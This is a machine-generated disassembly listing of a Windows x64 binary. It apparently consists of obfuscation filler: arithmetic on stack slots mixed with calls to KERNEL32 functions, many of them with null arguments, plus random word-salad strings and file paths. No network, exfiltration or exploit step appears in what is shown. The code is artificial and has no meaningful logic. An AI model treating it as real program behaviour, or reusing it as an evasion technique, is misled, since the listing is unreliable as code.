movsx ecx, byte [rsp + 0x93]
sar eax, cl
mov byte [rsp + 0xba], al
mov rax, qword [rsp + 0xbce0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xb2d8]
movsx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0xcf8], ax
movzx eax, word [rsp + 0xbb4]
mov word [rsp + 0x10e0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rdx, [rsp + 0x45f8]
mov rcx, qword [rsp + 0x9890]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x471c], eax
mov rax, qword [rsp + 0xb2c0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa1c8]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xe2], al
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
lea rax, [rsp + 0x4808]
mov qword [rsp + 0xbd40], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov rax, qword [rsp + 0xafe8]
mov rcx, qword [rsp + 0xb938]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0xa8d8], rax
mov eax, dword [rsp + 0x4a94]
mov ecx, dword [0x1401e6014]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4484], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x46b8], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x4498], eax
lea rax, [rsp + 0x9778]
mov qword [rsp + 0xbd48], rax
movzx ecx, word [rsp + 0xb88]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x10e4], ax
movzx eax, byte [rsp + 0xa1]
mov rcx, qword [0x1401e7458]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x1401e6066], al
mov rax, qword [rsp + 0xa8c0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x107]
and eax, ecx
mov rcx, qword [rsp + 0xb558]
mov byte [rcx], al
mov rax, qword [rsp + 0xa9f0]
movzx eax, word [rax]
mov word [rsp + 0x10e8], ax
movsx eax, word [rsp + 0xc20]
movsx ecx, word [0x1401e60a8]
add eax, ecx
mov word [rsp + 0xc90], ax
mov edx, 0x3d0cf9
mov rcx, qword [rsp + 0xb9a0]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x47e4], eax
movsx eax, word [rsp + 0xe94]
movsx ecx, word [rsp + 0x1040]
add eax, ecx
mov word [rsp + 0xf8c], ax
lea rax, [rsp + 0x44c4]
mov qword [rsp + 0xbd50], rax
mov rax, qword [rsp + 0xaa18]
mov rcx, qword [rsp + 0xbc68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4868], eax
mov rax, qword [rsp + 0xb520]
mov rax, qword [rax]
mov qword [rsp + 0xbd58], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xa410], rax
lea rdx, [rsp + 0x28180]
mov rcx, qword [rsp + 0x9220]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4abc], eax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov rax, qword [rsp + 0x9a18]
mov rcx, qword [rsp + 0xb2c8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9598], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0x45e0], eax
movzx eax, byte [rsp + 0x15b]
movzx ecx, byte [rsp + 0x88]
sub eax, ecx
mov byte [rsp + 0x9b], al
mov edx, 0x43ee7c
mov rcx, qword [rsp + 0x98e8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4ac0], eax
lea rcx, [rsp + 0x268a8]
call qword [sym.imp.KERNEL32.dll_GetNativeSystemInfo]
mov rax, qword [rsp + 0xac78]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa018]
movzx ecx, word [rcx]
sar eax, cl
mov word [0x1401e6110], ax
movzx eax, word [rsp + 0xd64]
mov word [rsp + 0x10ec], ax
movsx eax, byte [0x1401e6033]
movsx ecx, byte [rsp + 0x15d]
xor eax, ecx
mov byte [rsp + 0x127], al
lea rax, [rsp + 0xc18]
mov qword [rsp + 0xbd60], rax
movzx ecx, word [rsp + 0xe8c]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xeb0], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rcx, qword [rsp + 0xb260]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x49d8], eax
mov rax, qword [rsp + 0x9a38]
mov rcx, qword [rsp + 0xa070]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov rcx, qword [rsp + 0xa8b0]
mov qword [rcx], rax
lea rax, [rsp + 0xb290]
mov qword [rsp + 0xbd68], rax
mov rax, qword [rsp + 0xa1b0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xaac8]
mov qword [rsp + 0xbd70], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbd70]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0xb9e8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x91d8]
mov eax, dword [rax]
cdq
idiv dword [rsp + 0x448c]
mov dword [rsp + 0x4548], eax
lea rax, [0x1401e7438]
mov qword [rsp + 0xbd78], rax
mov rax, qword [rsp + 0xb530]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x139]
and eax, ecx
mov byte [0x1401e6032], al
mov rax, qword [rsp + 0x8e20]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xc38]
add eax, ecx
mov word [rsp + 0x10c4], ax
movzx eax, byte [rsp + 0x87]
mov byte [rsp + 0x162], al
mov rax, qword [rsp + 0xad80]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xad40]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xd14], ax
lea rcx, str.housemaid_Suppers_accredit
call qword [sym.imp.KERNEL32.dll_AddAtomA]
mov word [rsp + 0xf60], ax
mov eax, dword [rsp + 0x484c]
mov ecx, dword [rsp + 0x4974]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4428], eax
lea rax, [rsp + 0x9648]
mov qword [rsp + 0xbd80], rax
mov eax, dword [rsp + 0x47ac]
mov ecx, dword [rsp + 0x4964]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xb888]
mov dword [rcx], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetEvent]
lea rcx, [rsp + 0xbd88]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xab80]
mov qword [rsp + 0xbd90], rax
mov rax, qword [rsp + 0xa148]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xf8]
and eax, ecx
mov byte [rsp + 0x8e], al
mov rax, qword [rsp + 0x9280]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xe40]
sub eax, ecx
mov word [0x1401e7728], ax
mov rax, qword [rsp + 0x9a50]
movsx eax, word [rax]
movsx ecx, word [0x1401e6050]
add eax, ecx
mov rcx, qword [rsp + 0xa658]
mov word [rcx], ax
movzx eax, byte [rsp + 0xb2]
mov byte [rsp + 0x163], al
movzx eax, byte [rsp + 0xae]
movzx ecx, byte [rsp + 0xf4]
sub eax, ecx
mov byte [rsp + 0x65], al
mov eax, dword [rsp + 0x43bc]
mov dword [rsp + 0x4ac4], eax
mov rax, qword [rsp + 0xb858]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x93d0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa908]
mov qword [rcx], rax
lea rax, [rsp + 0x4628]
mov qword [rsp + 0xbd98], rax
mov rax, qword [rsp + 0xb088]
mov rcx, qword [rsp + 0xb958]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x9e88]
mov qword [rcx], rax
movzx eax, byte [rsp + 0xe2]
mov rcx, qword [rsp + 0xa108]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xcd], al
lea rdx, [rsp + 0x28298]
mov rcx, qword [rsp + 0xaaa8]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4870], eax
mov rax, qword [rsp + 0xa460]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xaf38]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [0x1401e608b], al
mov edx, 0x1d14
mov rcx, qword [rsp + 0xa840]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4ac8], eax
lea rax, [rsp + 0xc1c]
mov qword [rsp + 0xbda0], rax
mov edx, 0x615421
mov rcx, qword [rsp + 0xbad8]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4324], eax
movsx eax, byte [rsp + 0x148]
movsx ecx, byte [rsp + 0x73]
or eax, ecx
mov byte [rsp + 0x156], al
mov rax, qword [rsp + 0xb218]
movzx eax, word [rax]
mov word [rsp + 0x10f0], ax
mov rax, qword [rsp + 0xa9f0]
movzx eax, word [rax]
movzx ecx, word [0x1401e7810]
and eax, ecx
mov word [rsp + 0xe50], ax
lea rdx, [rsp + 0x28378]
mov rcx, qword [rsp + 0xb838]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4324], eax
mov rax, qword [rsp + 0x9e98]
mov rcx, qword [rsp + 0x9de0]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x93b0], rax
lea rax, [rsp + 0x4a94]
mov qword [rsp + 0xbda8], rax
mov dword [rsp + 0x20], 0x1df2
mov r9d, 0x2eba
mov r8d, 0x5e2
mov edx, 0x2bdd
mov rcx, qword [rsp + 0xb350]
call qword [sym.imp.KERNEL32.dll_LockFile]
mov dword [rsp + 0x4908], eax
mov rax, qword [rsp + 0xbaf0]
mov rcx, qword [rsp + 0x9fb8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4458], eax
lea rax, [rsp + 0xa700]
mov qword [rsp + 0xbdb0], rax
movzx eax, word [rsp + 0xf4c]
mov word [0x1401e7910], ax
mov rax, qword [rsp + 0xb638]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x8e18]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa108]
mov byte [rcx], al
mov rax, qword [rsp + 0xb620]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa708]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x127], al
movzx eax, word [rsp + 0xf7c]
mov word [rsp + 0x10f4], ax
movzx eax, byte [rsp + 0x130]
mov rcx, qword [rsp + 0xad20]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa630]
mov byte [rcx], al
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_PeekNamedPipe]
mov eax, dword [rsp + 0x496c]
mov dword [rsp + 0x4acc], eax
mov rax, qword [rsp + 0xb410]
mov rcx, qword [rsp + 0xbba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0xb920]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9090]
mov rcx, qword [rsp + 0xa358]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0xba88], rax
mov rax, qword [rsp + 0x9270]
mov eax, dword [rax]
mov dword [rsp + 0x4ad0], eax
lea rdx, [rsp + 0x41e0]
mov rcx, qword [rsp + 0xb838]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4ad4], eax
movzx eax, word [rsp + 0xd10]
movzx ecx, word [rsp + 0xf10]
add eax, ecx
mov word [0x1401e743c], ax
movzx ecx, word [rsp + 0xf18]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xd60], ax
lea rcx, [rsp + 0x25700]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
movzx eax, word [rsp + 0xb78]
mov rcx, qword [rsp + 0xbb38]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xf08], ax
lea rax, [rsp + 0xb8]
mov qword [rsp + 0xbdb8], rax
mov rcx, qword [rsp + 0x9830]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4768], eax
mov rax, qword [rsp + 0xa620]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xb048]
movsx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0xd4], al
lea rax, [rsp + 0x103]
mov qword [rsp + 0xbdc0], rax
mov rax, qword [rsp + 0xbb10]
mov rcx, qword [rsp + 0x9d70]
mov qword [rsp + 0xbdc8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbdc8]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0xa8f8]
mov qword [rcx], rax
mov eax, dword [rsp + 0x4720]
mov ecx, dword [rsp + 0x4aa8]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9c50]
mov dword [rcx], eax
mov eax, dword [rsp + 0x46ec]
mov dword [rsp + 0x4ad8], eax
mov rax, qword [rsp + 0xa570]
mov rcx, qword [rsp + 0xa6c0]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0xaad8], rax
mov rax, qword [rsp + 0xb810]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb560]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [0x1401e78f0]
mov word [rcx], ax
lea rax, [rsp + 0x104]
mov qword [rsp + 0xbdd0], rax
mov rax, qword [rsp + 0xb048]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xacf8]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa910]
mov byte [rcx], al
movsx eax, word [rsp + 0xfbc]
movsx ecx, word [rsp + 0xf9c]
sub eax, ecx
mov word [rsp + 0xdb4], ax
lea rdx, [rsp + 0x28110]
mov rcx, qword [rsp + 0x9830]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0x4adc], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadPriorityBoost]
mov r9d, 1
lea r8, [rsp + 0x8db0]
mov rdx, qword [rsp + 0xbdd8]
mov rcx, qword [rsp + 0x9e90]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x49d8], eax
lea rcx, [rsp + 0x2a800]
call qword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [rsp + 0x4968], eax
lea rax, [rsp + 0xfa8]
mov qword [rsp + 0xbde0], rax
mov rax, qword [rsp + 0xb858]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xaaa0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xa238]
mov qword [rcx], rax
mov rcx, qword [rsp + 0xa840]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov dword [rsp + 0x20], 0x2667
mov r9d, 0x2f92
mov r8d, 0xe59
mov edx, 0x3388
mov rcx, qword [rsp + 0xae28]
call qword [sym.imp.KERNEL32.dll_UnlockFile]
mov dword [rsp + 0x4ae0], eax
mov rax, qword [rsp + 0xb670]
mov qword [rsp + 0xbde8], rax
mov rax, qword [rsp + 0xb988]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x49ec]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xa388]
mov dword [rcx], eax
mov rax, qword [rsp + 0xbd50]
mov ecx, dword [rsp + 0x4214]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x48b8], eax
mov rcx, qword [rsp + 0x9220]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0x4438], eax
lea rax, [rsp + 0x10a8]
mov qword [0x1401e7918], rax
movzx eax, word [rsp + 0x10b0]
mov word [rsp + 0x10f8], ax
mov rax, qword [rsp + 0xb380]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xbdd0]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x99c8]
mov byte [rcx], al
mov rcx, qword [rsp + 0xa1f0]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0x4ae4], eax
lea rax, [rsp + 0xeb]
mov qword [rsp + 0xbdf0], rax
movzx eax, byte [rsp + 0x6e]
movzx ecx, byte [rsp + 0xd6]
and eax, ecx
mov rcx, qword [rsp + 0xa790]
mov byte [rcx], al
mov rax, qword [rsp + 0xad00]
mov rcx, qword [rsp + 0x9f68]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8c70], rax
mov rax, qword [rsp + 0xb770]
mov eax, dword [rax]
mov dword [rsp + 0x4ae8], eax
mov rax, qword [rsp + 0x8f68]
mov rcx, qword [rsp + 0xae10]
mov qword [rsp + 0xbdf8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbdf8]
mov rax, qword [rax]
shr rax, cl
mov qword [rsp + 0xbc50], rax
lea rax, [rsp + 0x45d4]
mov qword [rsp + 0xbe00], rax
movsx eax, word [rsp + 0xed8]
mov rcx, qword [rsp + 0xa528]
movsx ecx, word [rcx]
xor eax, ecx
mov word [0x1401e6114], ax
mov rax, qword [rsp + 0xb0e0]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e6033]
shl eax, cl
mov byte [rsp + 0xe7], al
mov rax, qword [rsp + 0x9750]
movzx eax, word [rax]
mov word [rsp + 0x10fc], ax
mov rax, qword [rsp + 0xa688]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xd44]
or eax, ecx
mov word [rsp + 0xcb4], ax
mov rax, qword [0x1401e7820]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xa038]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xad], al
lea rdx, [rsp + 0xab48]
mov rcx, qword [rsp + 0xa350]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x4a10], eax
lea rax, [rsp + 0xab38]
mov qword [rsp + 0xbe08], rax
mov ecx, 9
call qword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [rsp + 0x4904], eax
mov rax, qword [rsp + 0x9c88]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xbaa0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9f38]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9400]
mov eax, dword [rax]
mov dword [rsp + 0x4aec], eax
lea rcx, [rsp + 0x25728]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov rax, qword [rsp + 0x9a90]
mov ecx, dword [rsp + 0x44c8]
imul ecx, dword [rax]
mov eax, ecx
mov dword [rsp + 0x44a8], eax
movsx eax, byte [rsp + 0x15c]
mov rcx, qword [rsp + 0x9d68]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [0x1401e608a], al
mov rax, qword [0x1401e7848]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9630]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8f], al
mov rax, qword [rsp + 0xa7d0]
movzx eax, word [rax]
mov word [rsp + 0x1100], ax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x2b8c
mov r9d, 0x37bc
mov r8d, 0xa6abad51
mov edx, 1
mov rcx, qword [rsp + 0xa208]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0x435c], eax
movzx eax, word [rsp + 0xd50]
movzx ecx, word [rsp + 0xc5c]
sub eax, ecx
mov rcx, qword [rsp + 0x91e0]
mov word [rcx], ax
mov rax, qword [0x1401e7480]
movzx eax, byte [rax]
mov byte [rsp + 0x164], al
mov eax, dword [rsp + 0x4688]
mov ecx, dword [rsp + 0x45c8]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0xac88]
mov dword [rcx], eax
mov eax, dword [rsp + 0x45a4]
mov ecx, dword [rsp + 0x4a0c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9780]
mov dword [rcx], eax
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x447c], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodeSystemPointer]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov dword [rsp + 0x45cc], eax
movzx ecx, word [rsp + 0xc48]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0xe7c], ax
lea rax, [rsp + 0xa2b8]
mov qword [rsp + 0xbe10], rax
mov rax, qword [rsp + 0xa958]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa290]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xa4d8], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodeSystemPointer]
movsx eax, word [rsp + 0xd98]
mov rcx, qword [0x1401e7708]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e6118], ax
lea rax, [rsp + 0x85]
mov qword [rsp + 0xbe18], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0xbcd0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xb810]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0xa5e8]
mov word [rcx], ax
lea rcx, [rsp + 0x96e0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rsp + 0xb700]
call qword [sym.imp.KERNEL32.dll_SetEvent]
mov dword [rsp + 0x4514], eax
mov rax, qword [rsp + 0x90e8]
movzx eax, word [rax]
mov word [rsp + 0x1104], ax
mov rax, qword [rsp + 0xade0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xde]
xor eax, ecx
mov rcx, qword [rsp + 0x9788]
mov byte [rcx], al
mov rax, qword [rsp + 0xbd10]
mov rcx, qword [rsp + 0xb128]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa2a0], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov qword [rsp + 0xbe20], rax
mov rax, qword [rsp + 0xa700]
mov qword [rsp + 0xbe28], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
lea rdx, [rsp + 0x96e0]
mov rcx, qword [rsp + 0x9e10]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
mov dword [rsp + 0x43fc], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x100
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 4
mov edx, 0xc0000000
lea rcx, str.C:HomelierdismountAgleamBanished_surmounted
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xbe30], rax
mov rax, qword [rsp + 0x9180]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x4ab8]
shl eax, cl
mov rcx, qword [rsp + 0xa758]
mov dword [rcx], eax
lea rax, [rsp + 0x44cc]
mov qword [rsp + 0xbe38], rax
mov rax, qword [rsp + 0xb108]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x154]
sar eax, cl
mov byte [rsp + 0x64], al
mov r9d, 0x1e88
xor r8d, r8d
lea rdx, [rsp + 0x8fd8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x48f4], eax
movzx eax, word [0x1401e7590]
mov rcx, qword [rsp + 0xae20]
movzx ecx, word [rcx]
sub eax, ecx
mov word [0x1401e6088], ax
movzx eax, byte [rsp + 0x68]
mov rcx, qword [rsp + 0xa460]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x9ca8]
mov byte [rcx], al
mov rax, qword [0x1401e7460]
movzx eax, word [rax]
mov word [rsp + 0x1108], ax
movzx eax, byte [rsp + 0xf7]
mov rcx, qword [rsp + 0xa3c8]
movzx ecx, byte [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8e68]
mov byte [rcx], al
lea rcx, [rsp + 0x25610]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov qword [rsp + 0x8f10], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [rsp + 0xbe40], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_IsProcessInJob]
mov rax, qword [rsp + 0x94f0]
mov qword [rsp + 0xbe48], rax
mov edx, 0x30bb5
mov rcx, qword [rsp + 0x9e10]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0x4234], eax
mov edx, 0x1fb3
mov rcx, qword [rsp + 0xba18]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0x4af0], eax
mov eax, dword [0x1401e6014]
mov ecx, dword [rsp + 0x4228]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x495c], eax
mov rax, qword [rsp + 0xb988]
mov ecx, dword [rsp + 0x4858]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4a90], eax
mov r9d, 2
lea r8, [rsp + 0x9c98]
mov rdx, qword [rsp + 0xa478]
mov rcx, qword [rsp + 0xb078]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0x482c], eax
mov rax, qword [rsp + 0x9740]
mov qword [rsp + 0xbe50], rax
movsx eax, word [rsp + 0xbdc]
mov rcx, qword [rsp + 0xabe8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0xa528]
mov word [rcx], ax
movzx eax, word [rsp + 0x1064]
movzx ecx, word [rsp + 0xf50]
add eax, ecx
mov word [0x1401e74f0], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.C:MasherEntrappingConcealment
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov qword [rsp + 0xbe58], rax
mov rax, qword [rsp + 0x97b0]
movzx eax, byte [rax]
mov byte [rsp + 0x165], al
mov rax, qword [rsp + 0xa960]
movsx eax, byte [rax]
mov rcx, qword [0x1401e7718]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xbb98]
mov byte [rcx], al
movsx eax, byte [rsp + 0x96]
mov rcx, qword [rsp + 0xa710]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa240]
mov byte [rcx], al
lea rax, [rsp + 0x47f4]
mov qword [rsp + 0xbe60], rax
mov rax, qword [rsp + 0xbd48]
mov rcx, qword [rsp + 0xb360]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xb8a0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9fb0]
mov rax, qword [rax]
mov qword [rsp + 0xbe68], rax
mov rax, qword [rsp + 0xb1f8]
mov ecx, dword [rsp + 0x47b0]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x4704], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetMessageWaitingIndicator]
lea rax, [rsp + 0xc88]
mov qword [rsp + 0xbe70], rax
movzx eax, byte [rsp + 0x95]
mov byte [0x1401e74c4], al
movsx eax, word [rsp + 0x106c]
movsx ecx, word [rsp + 0xd90]
xor eax, ecx
mov rcx, qword [rsp + 0xaed8]
mov word [rcx], ax
mov rax, qword [rsp + 0xa920]
movsx eax, byte [rax]
movsx ecx, byte [0x1401e7492]
sar eax, cl
mov rcx, qword [rsp + 0xacf8]
mov byte [rcx], al
movzx eax, word [rsp + 0x1010]
mov word [rsp + 0x110c], ax
mov rax, qword [rsp + 0xaff8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa820]
mov qword [rsp + 0xbe78], rcx
movzx ecx, al
mov rax, qword [rsp + 0xbe78]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4764], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ResetWriteWatch]
lea rax, [rsp + 0x45dc]
mov qword [rsp + 0xbe80], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalCompact]
mov rax, qword [rsp + 0x9ec8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9168]
or rcx, rax
mov rax, rcx
mov qword [rsp + 0x9f60], rax
mov rax, qword [rsp + 0x98e0]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xb110]
and rcx, rax
